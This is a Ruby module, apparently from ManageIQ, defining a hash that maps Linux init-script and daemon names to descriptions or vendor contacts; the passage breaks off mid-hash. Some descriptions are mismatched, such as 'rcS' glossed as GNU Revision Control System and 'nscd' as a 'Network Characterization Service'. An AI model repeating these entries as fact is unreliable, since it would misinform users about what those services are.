| 31.138462 | 58 | 0.844368 |
d5297141b75815bd14240ebd0b8c1f16e94851e4 | 48,446 | module MiqLinux
InitProcHash = {
"2xthinclientserver" => "Supports thin clients",
"3dwm-server" => "Binary server daemon",
"acct" => "GNU Accounting utilities for process and login accounting",
"acpid" => "Utilities for using ACPI power management",
"acquire" => "Knowledge base editor and integrated inference engin",
"adjtimex" => "Utility to display or set the kernel time variables",
"afs" => "DeanSoft Co.,Ltd. [email protected]",
"aime" => "Advanced Interactive Mudding Environment",
"alamin-server" => "Alamin GSM SMS Gateway server",
"alkahest" => "Alkahest by the Alkahest Initiative [email protected]",
"allianz" => "Allianz Insurance [email protected]",
"alsa" => "ALSA driver configuration files",
"amavis" => "AMaViS Development Team [email protected]",
"amavisd" => "AMaViS Development Team [email protected]",
"amavis-postfix" => "Reserved for LSB-Compliant Distribution [email protected]",
"am-utils" => "Automounter utilities",
"anacron" => "Executes commands at intervals",
"and" => "Auto Nice Daemon",
"apache" => "Versatile, high-performance HTTP server",
"apache-perl" => "Versatile, high-performance HTTP server with Perl support",
"apache-ssl" => "Versatile, high-performance HTTP server with SSL support",
"apcd" => "APC Smart UPS daemon",
"apcupsd" => "APC UPS Power Management (daemon)",
"apmd" => "Utilities for Advanced Power Management (APM)",
"aprsd" => "Internet Gateway for the Automatic Position Reporting System",
"argus" => "IP network transaction auditing tool",
"arkeia" => "Arkeia Corporation [email protected]",
"arla" => "A free client for the AFS distributed network filesystem",
"armtech" => "Aurema Pty Ltd [email protected]",
"arpd" => "User-space ARP daemon",
"arpwatch" => "Ethernet/FDDI station activity monitor",
"asdis" => "ASDIS Software AG [email protected]",
"aspera" => "Aspera, Inc. [email protected]",
"atd" => "Delayed job execution and batch processing",
"atftpd" => "Advanced TFTP server",
"atm" => "Base programs for ATM in Linux",
"atokx" => "Reserved for LSB-Compliant Distribution [email protected]",
"aumix" => "Simple text-based mixer control program",
"aumix-gtk" => "Simple mixer control program with GUI and text interfaces",
"autofs" => "Kernel-based automounter for Linux",
"backupexpress" => "Backup Express by Syncsort, Inc. [email protected]",
"bayonne" => "Telephony server of the GNU project",
"bind" => "Internet Domain Name Server",
"bind9" => "Internet Domain Name Server",
"binfmt-support" => "Support for extra binary formats",
"binkd" => "FidoTech TCP/IP mailer",
"bird" => "Internet Routing Daemon",
"bl" => "Blink Keyboard LEDs",
"blinkd" => "Blinks keyboard LEDs",
"blootbot" => "Severely modified infobot for IRC",
"bluetooth" => "Bluetooth stack utilities",
"bnetd" => "Gaming server that emulates Battle.net(R)",
"boa" => "Lightweight and high performance web server",
"bootmisc.sh" => "Reserved for LSB-Compliant Distribution [email protected]",
"bootparamd" => "Boot parameter server",
"bpalogin" => "Login client for the Telstra Bigpond Cable Network (Australia)",
"bpowerd" => "Program to monitor Best Power Patriot and Patriot Plus UPSs under Linux",
"brltty" => "Access software for a blind person using a braille display",
"bwbar" => "Generates text and graphical readout of current bandwidth use",
"bzflagserver" => "BZFlag game server",
"caantivirus" => "Computer Associates antivirus",
"callweaver" => "Eris Associates Limited [email protected]",
"camserv" => "Stream live video out onto the web",
"camserv-relay" => "Relay camserv video stream for load balancing purposes",
"canna" => "Japanese input system (server and dictionary)",
"capisuite" => "Fax and voice box solution for ISDN/CAPI capable devices",
"caudium" => "Extensible WWW server written in Pike",
"centrifydc" => "Centrify Direct Control Suite [email protected]",
"cern-httpd" => "Generic, full featured server for serving files using the HTTP protocol",
"cfsd" => "Cryptographic Filesystem",
"chainmail" => "Caversham Computer Services Ltd. [email protected]",
"checkfs.sh" => "Checkpoint and Block Level Incremental Backup (BLIB) File System",
"checkroot.sh" => "Reserved for LSB-Compliant Distribution [email protected]",
"chrony" => "Sets your computer's clock from time servers on the Net",
"cipe" => "Files for the CIPE",
"ciphire" => "Ciphire Labs le at ciphirelabs.com",
"ciphire-gw" => "Ciphire Labs le at ciphirelabs.com",
"ciphire-proxy" => "Ciphire Labs le at ciphirelabs.com",
"cjdbc" => "ObjectWeb Consortium [email protected]",
"clamd" => "ClamAV anti-virus software [email protected]",
"cnewsclean" => "Simple news server",
"connectgate" => "Lymeware Corporation [email protected]",
"conserver-server" => "Allows multiple users to watch a serial console at the same time",
"console-cyrillic" => "Better Cyrillic support for Linux console",
"console-log" => "Puts a logfile pager on virtual consoles",
"console-screen.kbd.sh" => "Console Screen keyboard",
"console-screen.sh" => "Console Screen",
"conwrks" => "ConsoleWorks by TECSys Development, Inc [email protected]",
"courier-authdaemon" => "Courier authentication daemon",
"courier-imap" => "Courier Mail Server - IMAP server",
"courier-imap-ssl" => "Courier Mail Server - IMAP over SSL",
"courier-mta" => "Courier Mail Server - ESMTP daemon",
"courier-mta-ssl" => "Courier Mail Server - ESMTP daemon over SSL",
"courier-pcp" => "Courier Mail Server - PCP server",
"courier-pop" => "Courier Mail Server - POP3 server",
"courier-pop-ssl" => "Courier Mail Server - POP3 server over SSL",
"cpoint" => "Caversham Computer Services Ltd. [email protected]",
"cprocsp" => "Crypto-Pro, Ltd [email protected]",
"craits" => "Caversham Computer Services Ltd. [email protected]",
"crms" => "SVI Retail [email protected]",
"cron" => "Management of regular background processing",
"crond" => "Management of regular background processing",
"crossfire-server" => "Server for Crossfire Games",
"cst" => "CST GmbH [email protected]",
"cucipop" => "Implementation of the RFC1939 POP3 protocol",
"cups" => "Common UNIX Printing System(tm)",
"cupsys" => "Common UNIX Printing System(tm) - server",
"cvsupd" => "Server program for the CVSup network distribution package",
"daltoneyes" => "Objective Pathology Systems [email protected]",
"dancer-ircd" => "IRC server designed for centrally maintained network",
"dancer-services" => "IRC services implementation for dancer-ircd",
"danted" => "SOCKS (v4 and v5) proxy daemon",
"db2icd" => "IBM DB2 Universal Database Information [email protected]",
"dbbalancer" => "Database connection pooling, load balancing and write-replication",
"ddclient" => "Update dynamic IP address at DynDNS.org",
"ddt-client" => "Client side implementation of the DDTP protocol",
"ddt-server" => "Dynamic DNS Tools Server - DDTP protocol",
"decnet" => "Digital Equipment Corporation NETwork (",
"devfsd" => "Daemon for the device file system",
"devpts.sh" => "Provides an interface to pseudo terminal (pty) devices",
"dhclient" => "Internet Software Consortium DHCP Client,",
"dhcp" => "DHCP server for automatic IP address assignment",
"dhcp3-relay" => "DHCP relay daemon",
"dhcp3-server" => "DHCP server for automatic IP address assignment",
"dhcpcd" => "DHCP client for automatically configuring IPv4 networking",
"dhcp-relay" => "DHCP relay daemon",
"dhid" => "Dynamic Host Information System (DHIS) client",
"dhttpd" => "Minimal secure webserver without cgi-bin support",
"diablo" => "Comprehensive newsfeeding and newsreading software package",
"diald" => "dial on demand daemon for PPP and SLIP",
"dictd" => "Dictionary Server",
"discover" => "Hardware identification system",
"distributed-net" => "Reserved for LSB-Compliant Distribution [email protected]",
"distributed-net-pproxy" => "Reserved for LSB-Compliant Distribution [email protected]",
"dnet-progs" => "DECnet user programs and daemons",
"dns-clean" => "Reserved for LSB-Compliant Distribution [email protected]",
"dnsmasq" => "Small caching DNS proxy and DHCP server",
"docview" => "Caldera Systems Inc. dba The SCO Group [email protected]",
"dqs" => "Distributed Queueing System",
"drac" => "Dynamic Relay Authorization Control ",
"drbd" => "The DRBD development team [email protected]",
"dvb" => "SUSE LINUX Products GmbH [email protected]",
"ekahau-engine" => "Ekahau, Inc [email protected]",
"eloquence" => "Marxmeier Software AG [email protected]",
"elvind" => "Mantara Software [email protected]",
"emwin" => "Weather Data processing",
"epos" => "Text-to-speech system",
"esound" => "Enlightened Sound Daemon",
"evms" => "Enterprise Volume Management System (core)",
"exim" => "Obsolete MTA (Mail Transport Agent), replaced by exim4",
"ez-ipupdate" => "Client for most dynamic DNS services",
"faximum" => "Faximum Software Inc. [email protected]",
"fcron" => "Cron-like scheduler with extended capabilities",
"festival" => "General multi-lingual speech synthesis system",
"fetchmail" => "SSL enabled POP3, APOP, IMAP mail gatherer/forwarder",
"fidogate" => "Fido-Internet gateway and a Fido tosser",
"filterproxy" => "Perl script that acts as a generic web proxy",
"firestarter" => "Gtk program for managing and observing your firewal",
"firewall-easy" => "Easy to use packet filter firewall",
"fma" => "Fabric Management Agent [email protected]",
"frad" => "Reserved for LSB-Compliant Distribution [email protected]",
"freenet" => "Tunnel to freenet",
"freenet6" => "IPv6 tunnel to freenet6 (transitional package)",
"freenet-unstable" => "Decentralised network of nodes designed to allow for efficient distribution of information over the Interne",
"freeradius" => "High-performance and highly configurable RADIUS server",
"freewnn-cserver" => "Chinese input system",
"freewnn-jserver" => "Japanese input system",
"freewnn-kserver" => "Korean input system",
"freewnn-tserver" => "Reserved for LSB-Compliant Distribution [email protected]",
"frox" => "Transparent caching ftp proxy",
"fsg" => "The Free Standards Group [email protected]",
"ftp-proxy" => "Application level proxy for the FTP protocol",
"fwctl" => "Configure ipchains firewall using higher level abstraction",
"fwlogwatch" => "Firewall log analyzer",
"galaxy" => "CommVault Galaxy [email protected]",
"garpd" => "Microcraft AB Garp [email protected]",
"gcpegg" => "Global Consciousness Project EGG Software",
"gdm" => "GNOME Display Manager",
"gdomap" => "Used by GNUstep programs to look up distributed objects of running processes",
"geas" => "GNU Enterprise Application Server ",
"geneweb" => "Genealogy software with web interface",
"genpower" => "Monitor UPS and handle line power failures",
"gidentd" => "RFC1413 compliant IPv4/IPv6 ident daemon",
"gigaset" => "Siemens Gigaset ISDN device drivers [email protected]",
"getport" => "University of Utah Office of IT [email protected]",
"gm" => "Glenn's Messages [email protected]",
"gnudip" => "Scripts for dynamic IP to name mappings",
"gom" => "Command line and interactive ncurses-based OSS audio mixer",
"gopherd" => "Distributed Hypertext, Gopher protocol",
"gpm" => "General Purpose Mouse Interface",
"guarddog" => "Firewall configuration utility for KDE",
"gwava" => "Beginfinite, Inc [email protected]",
"gwavaman" => "Beginfinite, Inc [email protected]",
"gwava-poa" => "Beginfinite, Inc [email protected]",
"haldaemon" => "Danny Kukawka [email protected]",
"halt" => "Stop all running processes on a system cleanly",
"heartbeat" => "Subsystem for High-Availability Linux",
"heimdal-kdc" => "Heimdal Kerberos - key distribution center (KDC)",
"hostname.dhcp" => "Utility to set/show the host name or domain name",
"hostname.sh" => "Utility to set/show the host name or domain name",
"hotplug" => "Linux Hotplug Scripts",
"hplip" => "HP Linux Printing and Imaging System (HPLIP)",
"hpoj" => "HP OfficeJet Linux driver (hpoj)",
"hpsockd" => "HP SOCKS server",
"httpd" => "HTTP daemon",
"hwclockfirst.sh" => "Reserved for LSB-Compliant Distribution [email protected]",
"hwclock.sh" => "Query and set the hardware clock (RTC)",
"hwtools" => "Collection of tools for low-level hardware management",
"hylafax" => "Flexible client/server fax software",
"iagent" => "Lymeware Corporation [email protected]",
"iagent3" => "Lymeware Corporation [email protected]",
"icecast-server" => "MPEG Layer III Streaming Server",
"identd" => "ident daemon",
"ifupdown" => "High level tools to configure network interfaces",
"inet" => "International NETworking conference (conference),",
"inetd" => "Responsible for starting most of the network services.",
"initrd-tools.sh" => "Tools to create initrd image for prepackaged Linux kernel",
"inn" => "News transport system",
"inn2" => "'InterNetNews' news server",
"intel-rng-tools" => "Daemon to use the RNG on i810 motherboards",
"interchange" => "E-commerce and general HTTP database display system",
"ipac" => "IP accounting configuration and statistics tool",
"ipac-ng" => "IP Accounting for iptables",
"ipfm" => "Bandwidth analysis tool",
"ipip" => "IP over IP Encapsulation Daemon",
"ipmasq" => "Securely initializes IP Masquerade forwarding/firewalling",
"ipmasq-kmod" => "Sets up IP Masquerading kernel modules using the insmod command",
"ipmi" => "OpenIPMI Project [email protected]",
"ippl" => "IP protocols logger",
"ipsec" => "IPsec for Linux",
"iptables" => "Administration tools for packet filtering and NAT",
"ipvsadm" => "Linux Virtual Server support programs",
"ipx" => "Utilities to configure the kernel ipx interface",
"ipxripd" => "IPX RIP/SAP daemon",
"ircd" => "IRC Server daemon - dummy package",
"irda" => "Infrared devices",
"irq_balancer" => "Daemon to balance interrupts",
"isapnp" => "ISA Plug-And-Play",
"isdn" => "Integrated Services Digital Network",
"isdnactivecards" => "Support utilities for active ISDN cards",
"isdneurofile" => "ISDN eurofile transfer tool",
"isdnutils" => "ISDN-related packages and utilities",
"ivman" => "Daemon to auto-mount and manage media devices",
"ixbiff" => "Notify user when mail arrives by blinking keyboard LEDs",
"jabber" => "Instant messaging server using the Jabber/XMPP protocol",
"jail" => "Just Another ICMP Logger",
"jboss" => "JBoss Application, SUSE CR s.r.o. [email protected]",
"jftpgw" => "Joe's FTP Proxy/Gateway",
"jmon" => "Distributed resource monitor",
"jonas" => "JOnAS, ObjectWeb Consortium [email protected]",
"jove" => "Jonathan's Own Version of Emacs - a compact, powerful editor",
"joystick" => "Testing and calibration tools",
"jserv" => "Java Servlet 2.0 engine",
"jslaunch" => "Joystick button shell command execution/shutdown tool",
"junkbuster" => "Instrumentable proxy that filters the HTTP stream between web servers and browsers",
"kannel" => "WAP and SMS gateway",
"kdm" => "X display manager for KDE",
"keep" => "Backup system for KDE",
"keepd" => "Backup system for KDE",
"kerberos4kth-kdc" => "KDC for Kerberos4 from KTH",
"keymap.sh" => "Keyboard map decision tree builder and interpreter",
"kimberlite" => "High Availability Clustering Package",
"klisa" => "LAN information service",
"klogd" => "Kernel Logging Daemon",
"krb5-admin-server" => "MIT Kerberos master server (kadmind)",
"krb5-kdc" => "MIT Kerberos key server (KDC)",
"kudzu" => "Red Hat Linux hardware probing tool.",
"l2tpd" => "Layer 2 tunneling protocol implementation",
"lambdamoo" => "Server for an online multiuser virtual world",
"laptop-net" => "Automatically adapt laptop ethernet",
"latd" => "LAT (Local Area Transport) Daemon",
"lcd4linux" => "Grabs information and displays it on an external lcd",
"LCDd" => "Loss of Cell Delineation (UNI, ATM)",
"ldirectord" => "Monitors virtual services provided by LVS",
"leeuwenhoek" => "Objective Pathology Systems [email protected]",
"ledd" => "LED control",
"chipcardd3" => "Martin Preuss [email protected]",
"linesrv" => "Server to remotely control the internet connection",
"linuxconf" => "Extremely capable system configuration tool for Linux",
"linuxlogo" => "Color ANSI System Logo",
"lirc" => "Infra-red remote control support",
"lmsd" => "LAN Management System Daemon",
"log2mail" => "Daemon watching logfiles and mailing lines matching patterns",
"lokkit" => "Firewalling",
"lpd" => "Line printer daemon",
"lpd-ppd" => "Line printer daemon",
"lprng" => "Lpr/lpd printer spooling system",
"lsf" => "Load sharing facility",
"lsh-server" => "Secure Shell v2 (SSH2) protocol server",
"lvm" => "Logical Volume Manager",
"lwresd" => "Lightweight Resolver Daemon",
"lyskom-server" => "Server for the LysKOM conference system",
"mailscanner" => "Email virus scanner and spam tagge",
"makedev" => "Creates device files in /dev",
"mandate" => "ADS Specialists, Inc. [email protected]",
"mandateip" => "ADS Specialists, Inc. [email protected]",
"maradns" => "Simple security-aware Domain Name Service server",
"mas" => "mas by Shiman Associates Inc [email protected]",
"mason" => "Interactively creates a Linux packet filtering firewall",
"masqmail" => "mailer for hosts without permanent internet connection",
"maxdb" => "MaxDB database system",
"mcserv" => "Server program for the Midnight Commander networking file system",
"mdadm" => "Tool to administer Linux MD arrays",
"mdadm-raid" => "Tool to administer Linux MD arrays",
"mdctl" => "Used to control Linux MD devices",
"mdctl-raid" => "Used to control Linux MD devices",
"mdidentd" => "Special ident daemon that permits processes to set their own fake ident replies",
"medusa" => "Fast, parallel, modular, login brute-forcer for network services",
"mgetty-fax" => "Faxing tools for mgetty",
"microcode.ctl" => "Intel IA32 CPU Microcode Utility",
"mimersql" => "Upright Database Technology AB Mimer SQ [email protected]",
"modutils" => "Linux module utilities",
"momonga" => "Momonga Project",
"mon" => "Monitor hosts/services/whatever and alert about problems",
"mopd" => "Maintenance Operations Protocol (MOP) loader daemon",
"mosix" => "Utilities to administer a mosix cluster node",
"mountall.sh" => "Mounts filesystems according to a file_system_table",
"mountfix" => "Reserved for LSB-Compliant Distribution [email protected]",
"mountnfs.sh" => "Startup Item to mount NFS filesystems",
"mpagent" => "Grid MP Platform by United Devices [email protected]",
"mpservices" => "Grid MP Platform by United Devices [email protected]",
"mpwebsvc" => "Grid MP Platform by United Devices [email protected]",
"mrouted" => "Implementation of the Distance Vector Multicast Routing Protocol ",
"msec-daemon" => "Provide generic secure level to the Mandrake Linux users.",
"msec-milter" => "Provide generic secure level to the Mandrake Linux users.",
"mserv" => "Local centralised multiuser music server",
"mserver" => "Network Modem Server",
"mt-st" => "Linux SCSI tape driver aware magnetic tape control",
"muddleftpd" => "Flexible and efficient FTP daemon",
"murasaki" => "Another HotPlug Agent",
"mwavem" => "Mwave/ACP modem support",
"mx" => "Script is used to start and stop the MX server and update processes",
"mysql" => "MySQL Server",
"named" => "Internet domain name server",
"nas" => "Network Audio System",
"nbd-client" => "Network Block Device client",
"nbd-server" => "Network Block Device server",
"net-acct" => "User-mode IP accounting daemon",
"netatalk" => "AppleTalk user binaries",
"netenv" => "Configure your system for different network environments",
"nethack" => "Nethack dungeon crawl game",
"netobjd" => "Network Object agent daemon ",
"netperf" => "Reserved for LSB-Compliant Distribution [email protected]",
"netplan" => "Network server for `plan'",
"netsaint" => "Netsaint",
"netsaint-statd" => "Netsaint_statd plugins",
"netvsn" => "NetVision, Inc [email protected]",
"netvision" => "NetVision, Inc [email protected]",
"network" => "Simple network configuration",
"networking" => "Simple network configuration",
"newscache" => "NewsCache project Herbert Straub [email protected]",
"nfs" => "Network file system",
"nfs-common" => "NFS support files common to client and server",
"nfs-kernel-server" => "Support for NFS kernel server",
"nfslock" => "Takes care of starting and stopping the NFS file locking service",
"nfs-user-server" => "User space NFS server",
"nis" => "Clients and daemons for the Network Information Services",
"nmb" => "Part of the samba package",
"nntpcache" => "Proxy cache newsgroups",
"noffle" => "Offline news server",
"noflushd" => "Allow idle hard disks to spin down",
"nscd" => "Network Characterization Service daemon",
"nsmon" => "Intranet/internet server checker",
"ntop" => "Display network usage in top-like format",
"ntp" => "Network Time Protocol daemon and utility programs",
"ntpdate" => "Client for setting system time from NTP servers",
"nullmailer" => "Simple relay-only mail transport agent",
"nut" => "Core system of the nut - Network UPS Tools",
"nviboot" => "Script to recover nvi edit sessions",
"nvi-m17n" => "Multilingual version of nvi ",
"nvi-m17n-canna" => "Multilingual version of nvi ",
"nz" => "Netezza Corp. [email protected]",
"oftpd" => "Secure anonymous FTP server",
"oidentd" => "Replacement ident daemon",
"omniorb-nameserver" => "CORBA ORB - nameserver",
"omreports" => "University of Utah Office of IT [email protected]",
"oops" => "Caching HTTP proxy server written for performance",
"openafs-client" => "AFS distributed filesystem client support",
"openafs-fileserver" => "AFS distributed filesystem file server",
"opengate" => "Opengate Voice over IP gatekeeper",
"openh323gk" => "H.323 gatekeeper controls all H.323 clients ",
"openmanage" => "Dell OpenManage Server ",
"openmosix" => "Utilities to administer an openmosix node",
"oss-preserve" => "Program to save/restore OSS mixer settings",
"otrs" => "Open Ticket Request System",
"ovpa" => "HP OpenView Performance Agent",
"panthera" => "Panthera Systems [email protected]",
"partimaged" => "Partition imaging utility:",
"pcmcia" => "Personal Computer Memory Card International Association",
"pcscd" => "PCSC Lite resource manager daemon",
"pdns" => "PowerDNS",
"pdnsd" => "Proxy DNS Server",
"peerfs" => "PeerFS Replicating Filesystem",
"perdition" => "POP3 and IMAP4 Proxy server",
"pipsecd" => "IPsec tunnel implementation",
"pkspxy" => "PGP Public Key Server Proxy Daemon",
"plex86" => "PC virtualization program to run x86 operating systems",
"plptools" => "Access a Psion PDA over a serial link",
"pmxs" => "Preprocessor for MusiXTeX",
"popa3d" => "A tiny POP3 daemon, designed with security as the primary goal",
"pop-before-smtp" => "Watch log for POP/IMAP auth, notify MTA to allow relay",
"portmap" => "RPC portmapper",
"portsentry" => "Portscan detection daemon",
"postfix" => "High-performance mail transport agent",
"postgresql" => "PostgreSQL Database server",
"postgrey" => "Greylisting implementation for Postfix",
"powerfail" => "Reserved for LSB-Compliant Distribution [email protected]",
"powersaved" => "Power management daemon",
"powertweakd" => "Tool to tune system for optimal performance",
"powstatd" => "Configurable UPS monitoring daemon",
"ppp" => "Point-to-Point Protocol (PPP) daemon",
"pptpd" => "PoPToP Point to Point Tunneling Server",
"prime-net" => "Internet PrimeNet Server",
"procps.sh" => "/proc file system utilities",
"proftpd" => "Versatile, virtual-hosting FTP daemon",
"pure-ftpd" => "Pure-FTPd FTP server",
"pvss" => "PVSS by ETM Aktiengesellschaft [email protected]",
"pwcheck" => "Unix pwcheck daemon login authentication",
"qmail" => "Qmail MTA",
"qpage" => "Sends messages to a paging terminal using the SNPP and IXO (also known as TAP) protocols",
"qsnet" => "High speed interconnect designed by Quadrics used in HPC clusters",
"queue" => "Transparent load balancing system",
"quota" => "Implementation of the disk quota system",
"quotarpc" => "Quota script",
"radioclk" => "Simple ntp refclock daemon for MSF/WWVB/DCF77 time signals",
"radiusd" => "Radius Server",
"radiusd-livingston" => "Remote Authentication Dial-In User Service (RADIUS) server",
"radvd" => "Router Advertisement Daemon",
"raid" => "RAID support",
"raid2" => "RAID support",
"random" => "Non-linear additive feedback random number generator",
"rarpd" => "Reverse Address Resolution Protocol daemon",
"rawio" => "Allows direct access to devices",
"rbootd" => "Remote Boot Daemon",
"rc" => "An implementation of the AT&T Plan 9 shell",
"rcS" => "GNU Revision Control System",
"README" => "Reserved for LSB-Compliant Distribution [email protected]",
"reboot" => "Restarts computer",
"resmgr" => "Resource manager library daemon and PAM module",
"rgpsp" => "Remote poller for GPS (Graphical Process Statistics)",
"rinetd" => "Internet TCP redirection server",
"ricis" => "RICIS, Inc. [email protected]",
"rlagent" => "Beginfinite, Inc. [email protected]",
"rlcenter" => "Beginfinite, Inc. [email protected]",
"rlinetd" => "Gruesomely over-featured inetd replacement",
"rmnologin" => "Essential for login",
"rms" => "rms for Quadrics Ltd. [email protected]",
"routed" => "Network routing daemon",
"roxen" => "Roxen Challenger Webserver",
"roxen2" => "Roxen Challenger Webserver",
"rpasswdd" => "pwdutils package [email protected]",
"rpcbind" => "kukuk's port of TI-RPC for Linux [email protected]",
"rplay" => "Set of dependencies designed to mitigate upgrade problems",
"rproxy" => "Cache which uses differences to speed up retrievals",
"rrlogind" => "Login daemon for the Road Runner Cable Modem Service",
"rspfd" => "Radio Shortest Path Daemon",
"rstatd" => "Displays uptime information for remote machines",
"rusersd" => "Returns information about users currently logged in to the system",
"rwhod" => "System status server",
"samba" => "LanManager-like file and printer server for Unix",
"saslauthd" => "Daemon process that handles plaintext authentication requests on behalf of the SASL library",
"sauce" => "SMTP defence software against spam",
"scandetd" => "Portscan detector for Linux",
"scanlogd" => "portscan detecting tool",
"scobrand" => "Caldera Systems Inc. dba The SCO Group [email protected]",
"scsitools-pre.sh" => "Collection of tools for SCSI hardware management ",
"scsitools.sh" => "Collection of tools for SCSI hardware management",
"securetransport" => "Tumbleweed Communications Corp. [email protected]",
"secvpn" => "Secure Virtual Private Network",
"sendmail" => "Powerful, efficient, and scalable Mail Transport Agent",
"sendpage" => "Easy-to-use Unix tool for sending pages",
"sendsigs" => "Reserved for LSB-Compliant Distribution [email protected]",
"sensord" => "Hardware sensor information logging daemon",
"ser2net" => "Allows network connections to serial ports",
"serpento" => "DICT server with full Unicode support",
"set6x86" => "Cyrix/IBM 5x86/6x86 CPU configuration tool",
"setmixer" => "Commandline mixer",
"setserial" => "Controls configuration of serial ports",
"sfs-client" => "Self-Certifying File System client",
"sfs-server" => "Self-Certifying File System server",
"shaper" => "Traffic shaper init script (cbq.init) for Linux",
"shaperd" => "User-mode traffic shaper for tcp-ip networks",
"shorewall" => "Shoreline Firewall",
"single" => "Reserved for LSB-Compliant Distribution [email protected]",
"skeleton" => "Reserved for LSB-Compliant Distribution [email protected]",
"skinsight" => "Objective Pathology Systems [email protected]",
"skkserv" => "Dictionary server for SKK",
"slapd" => "OpenLDAP server",
"slashem" => "Variant of Nethack",
"sleepd" => "Puts an inactive or low battery laptop to sleep",
"slpd" => "OpenSLP Server",
"smad" => "SyAM Software, Inc. [email protected]",
"smagent" => "Engenio Information Technologies, Inc [email protected]",
"smail" => "Electronic mail transport system",
"smartd" => "smartmontools [email protected]",
"smartsuite" => "SMART utility suite for Linux",
"smb" => "SMB services",
"smcd" => "SyAM Software, Inc. [email protected]",
"smmonitor" => "Engenio Information Technologies, Inc [email protected]",
"smokeping" => "Latency logging and graphing system",
"smtpd" => "Mail proxy for firewalls with anti-spam and anti-relay features",
"smtpfeed" => "SMTP Fast Exploding External Deliver for Sendmail",
"smwd" => "SyAM Software, Inc. [email protected]",
"sn" => "Small NNTP server for leaf sites",
"snmpd" => "SNMP (Simple Network Management Protocol) agents",
"snmptrapfmt" => "A configurable snmp trap handler daemon for snmpd",
"snort" => "Flexible Network Intrusion Detection System",
"sofistikpsd" => "SOFiSTiK AG [email protected]",
"spamassassin" => "Perl-based spam filter using text analysis",
"spong-client" => "Systems and network monitoring system -- client programs",
"spong-server" => "Systems and network monitoring system -- server programs",
"squid" => "Internet object cache (WWW proxy cache)",
"squidtaild" => "Squid log monitoring program",
"ssh" => "Secure shell client and server (metapackage)",
"ssh2" => "Secure rlogin/rsh/rcp replacement",
"sshd" => "OpenSSH SSH daemon",
"ssh-krb5" => "Secure rlogin/rsh/rcp replacement (OpenSSH with Kerberos)",
"ssh-nonfree" => "Reserved for LSB-Compliant Distribution [email protected]",
"sslwrap" => "Simple TCP service encryption using TLS/SSL",
"ssvl" => "SCO System V Libraries for Linux [email protected]",
"strs" => "StreamServe Ltd. [email protected]",
"subdomain" => "SubDomain by Immunix [email protected]",
"sudo" => "Provide limited super user privileges to specific users",
"sudoscript" => "EGBOK Consultants [email protected] ",
"susefirewall2_final" => "SUSE LINUX Products GmbH [email protected]",
"susefirewall2_init" => "SUSE LINUX Products GmbH [email protected]",
"susefirewall2_setup" => "SUSE LINUX Products GmbH [email protected]",
"svgatextmode" => "Enable higher resolution text modes",
"swapd" => "Daemon for dynamic swap file creation",
"sympa" => "Modern mailing list manager",
"sysklogd" => "System Logging Daemon",
"syslog" => "System logging",
"syslog-ng" => "Next generation logging daemon",
"sysstat" => "Sar, iostat and mpstat - system performance tools for Linux",
"systemimager" => "Utilities for installing GNU/Linux software images to machines over the network",
"systune" => "Kernel tuning through the /proc file system",
"tac-plus" => "TACACS+ authentication daemon",
"tama" => "Net Tamagotchi server",
"tcpquota" => "Dialout/masquerading monitoring package",
"tcpspy" => "Incoming and Outgoing TCP/IP connections logger",
"teamware" => "Teamware Mobile, Teamware Group [email protected]",
"teapop" => "Powerful and flexible RFC-compliant POP3 server",
"teapop-mysql" => "Powerful and flexible RFC-compliant POP3 server",
"teapop-pgsql" => "Powerful and flexible RFC-compliant POP3 serve",
"thttpd" => "Tiny/turbo/throttling HTTP server",
"timeoutd" => "Flexible user timeout daemon with X11 support",
"tinc" => "Virtual Private Network daemon",
"tinyproxy" => "A lightweight, non-caching, optionally anonymizing http proxy",
"tleds" => "Blinks keyboard LEDs for TX and RX network packets",
"tomcat" => "Java Servlet engine with JSP support",
"tomcat4" => "Java Servlet engine with JSP support",
"tpconfig" => "Configure touchpad devices",
"tpssmagent" => "Engenio Information Technologies, Inc [email protected]",
"tpssmmonitor" => "Engenio Information Technologies, Inc [email protected]",
"trafstats" => "Reserved for LSB-Compliant Distribution [email protected]",
"transproxy" => "Transparent Proxy Daemon for HTTP requests",
"trustees" => "Advanced permission management system for Linux",
"ud" => "Uptime Daemon",
"udhcpd" => "Very small DHCP server",
"ugidd" => "NFS UID mapping daemon",
"ulogd" => "Netfilter Userspace Logging Daemon",
"umountfs" => "Unmount file systems",
"umountnfs.sh" => "Unmount network file systems",
"umsdos" => "Utilities for controlling a umsdos filesystem",
"upsd" => "UPS Monitor Program via serial interface",
"ups-monitor" => "UPS Monitor",
"uptimed" => "Utility to track your highest uptimes",
"uptimed.sh" => "Utility to track your highest uptimes",
"urandom" => "Provides an interface to the kernel's random number generator.",
"usbmgr" => "User-mode daemon which loads/unloads USB kernel modules",
"usermin" => "Web interface for user tasks",
"userv" => "'User services' - program call across trust boundaries",
"vchkpw" => "Authentication for a pop server",
"vdr" => "Video Disk Recorder for DVB cards",
"vje-delta" => "Reserved for LSB-Compliant Distribution [email protected]",
"voicerd" => "VoiceRD [email protected]",
"vold" => "Volume daemon for CDROM devices.",
"vpnd" => "Virtual Private Network Daemon",
"vsftpd" => "Very Secure FTP Daemon",
"vtun" => "Virtual Tunnel over TCP/IP Networks",
"vvrts" => "Info-Electronics Systems Inc. [email protected]",
"vvrtspg" => "Info-Electronics Systems Inc. [email protected]",
"wanpipe" => "Configuration utilities for Sangoma S508/S514 WAN cards",
"wasp" => "Beginfinite, Inc [email protected]",
"watchdog" => "Software watchdog",
"wavelink" => "Avalanche Mobility Center Applications [email protected]",
"wdm" => "WINGs Display Manager",
"webfs" => "Lightweight http server for static content",
"webmin" => "Web-based administration toolkit",
"welcome2l" => "Linux ANSI boot logo",
"whereami" => "Automatically reconfigure your (laptop) system for a new location",
"winbind" => "Service to resolve user and group information from Windows NT servers",
"wn" => "Secure and efficient http server with advanced features",
"wondershaper" => "Easy to use traffic shaping script",
"wtrex" => "Lymeware Corporation [email protected]",
"wu-ftpd" => "Powerful and widely used FTP server",
"wwsympa" => "Sympa's web interface",
"wwwoffle" => "World Wide Web OFFline Explorer",
"X" => "open source implementation of the X Window System",
"xdasd" => "OpenXDAS [email protected]",
"xdm" => "X display manager",
"xess" => "Applied Information Systems, Inc. [email protected]",
"xfs" => "X display manager",
"xfstt" => "X Font Server for TrueType fonts",
"xfs-xtt" => "X-TrueType font server",
"xinetd" => "Replacement for inetd with many enhancements",
"xnptd" => "Reserved for LSB-Compliant Distribution [email protected]",
"xpilots" => "Dummy upgrade package for xpilot",
"xringd" => "Extended Ring Daemon - Monitor phone rings and take action",
"xshipwars-server" => "Dynamic space-oriented gaming system",
"xstrade" => "Applied Information Systems, Inc. [email protected]",
